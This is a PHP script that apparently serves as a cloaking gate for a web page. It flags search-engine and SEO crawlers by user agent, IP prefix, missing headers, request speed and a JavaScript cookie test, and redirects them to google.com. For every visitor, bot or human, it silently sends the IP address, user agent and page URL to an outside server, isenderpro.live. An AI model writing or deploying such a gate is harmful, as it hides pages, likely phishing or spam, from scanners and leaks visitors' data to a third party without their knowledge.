<?php

$isBot = false;
$detectionMethod = '';

// Check if the 'js_enabled' cookie is set
if (!isset($_COOKIE['js_enabled'])) {
    // Output JavaScript to set the cookie and reload the page
    echo '<script>
            document.cookie = "js_enabled=true; path=/";
            window.location.reload();  // Reload the page after setting the cookie
          </script>';
    exit();  // Stop further processing until page reload
}

function isAutomatedBot($isBot, $detectionMethod)
{
    $userAgent = strtolower($_SERVER['HTTP_USER_AGENT']);

    // Common bots' User-Agent fragments
    $botAgents = [
        'googlebot',
        'bingbot',
        'yandex',
        'slurp',
        'duckduckbot',
        'baiduspider',
        'facebot',
        'ia_archiver',
        'mj12bot',
        'ahrefsbot',
        'semrushbot',
        'dotbot',
        'gigabot',
        'linkwalker',
        'rogerbot',
        'exabot',
        'jobboersebot',
        'w3c_validator'
    ];

    foreach ($botAgents as $bot) {
        if (strpos($userAgent, $bot) !== false) {
            $isBot = true;
            $detectionMethod = "Common Bots";
        }
    }

    // IP address checking (you can add more known bot IPs)
    $botIpRanges = ['66.249.', '207.46.', '74.125.', '180.76.', '54.36.'];
    $ipAddress = $_SERVER['REMOTE_ADDR'];
    foreach ($botIpRanges as $range) {
        if (strpos($ipAddress, $range) === 0) {
            $isBot = true;
            $detectionMethod = "Bot IP addresses";
        }
    }

    // Check for unusual headers
    if (empty($_SERVER['HTTP_ACCEPT_LANGUAGE']) || empty($_SERVER['HTTP_USER_AGENT'])) {
        $isBot = true;
        $detectionMethod = "Header Anomaly";
    }

    // Basic rate-limiting (checks how fast requests come in)
    if (!isset($_SESSION['last_request_time'])) {
        $_SESSION['last_request_time'] = microtime(true);
    } else {
        $timeSinceLastRequest = microtime(true) - $_SESSION['last_request_time'];
        $_SESSION['last_request_time'] = microtime(true);
        if ($timeSinceLastRequest < 0.5) {
            $isBot = true;
            $detectionMethod = "Rate Limiting";
        }
    }

    // Check if the 'js_enabled' cookie is not set
    if (!isset($_COOKIE['js_enabled']) || $_COOKIE['js_enabled'] != 'true') {
        $isBot = true;
        $detectionMethod = "No JavaScript Execution";
    }

    if ($isBot) {
        // Redirect the bot to Google
        $botData = [
            'is_bot' => true,
            'ip_address' => $_SERVER['REMOTE_ADDR'],
            'detection_method' => $detectionMethod,
            'user_agent' => $_SERVER['HTTP_USER_AGENT'] ?? 'Unknown',
            'link' => currentLink()
        ];

        sendBotDetectionData($botData);
    } else {
        $botData = [
            'is_bot' => false,
            'ip_address' => $_SERVER['REMOTE_ADDR'],
            'detection_method' => 'ALL GOOD',
            'user_agent' => $_SERVER['HTTP_USER_AGENT'] ?? 'Unknown',
            'link' => currentLink()
        ];
        sendBotDetectionData($botData);
    }
    return $isBot;
}

function sendBotDetectionData($data)
{
    $ch = curl_init();
    curl_setopt($ch, CURLOPT_URL, "https://isenderpro.live/iserver/bot-detector/log");
    curl_setopt($ch, CURLOPT_POST, true);
    curl_setopt($ch, CURLOPT_POSTFIELDS, http_build_query($data));
    curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
    $response = curl_exec($ch);
    if (curl_errno($ch)) {
        error_log('cURL error: ' . curl_error($ch));
    }
    curl_close($ch);
}
function currentLink()
{
    // Get the protocol (HTTP or HTTPS)
    $protocol = (!empty($_SERVER['HTTPS']) && $_SERVER['HTTPS'] !== 'off' || $_SERVER['SERVER_PORT'] == 443) ? "https://" : "http://";

    // Get the host name
    $host = $_SERVER['HTTP_HOST'];

    // Get the request URI (the path)
    $uri = $_SERVER['REQUEST_URI'];

    // Combine to get the full URL
    $currentUrl = $protocol . $host . $uri;

    return $currentUrl;
}

if (isAutomatedBot($isBot, $detectionMethod)) {
    header('Location: https://www.google.com', true, 301);
    exit();
}
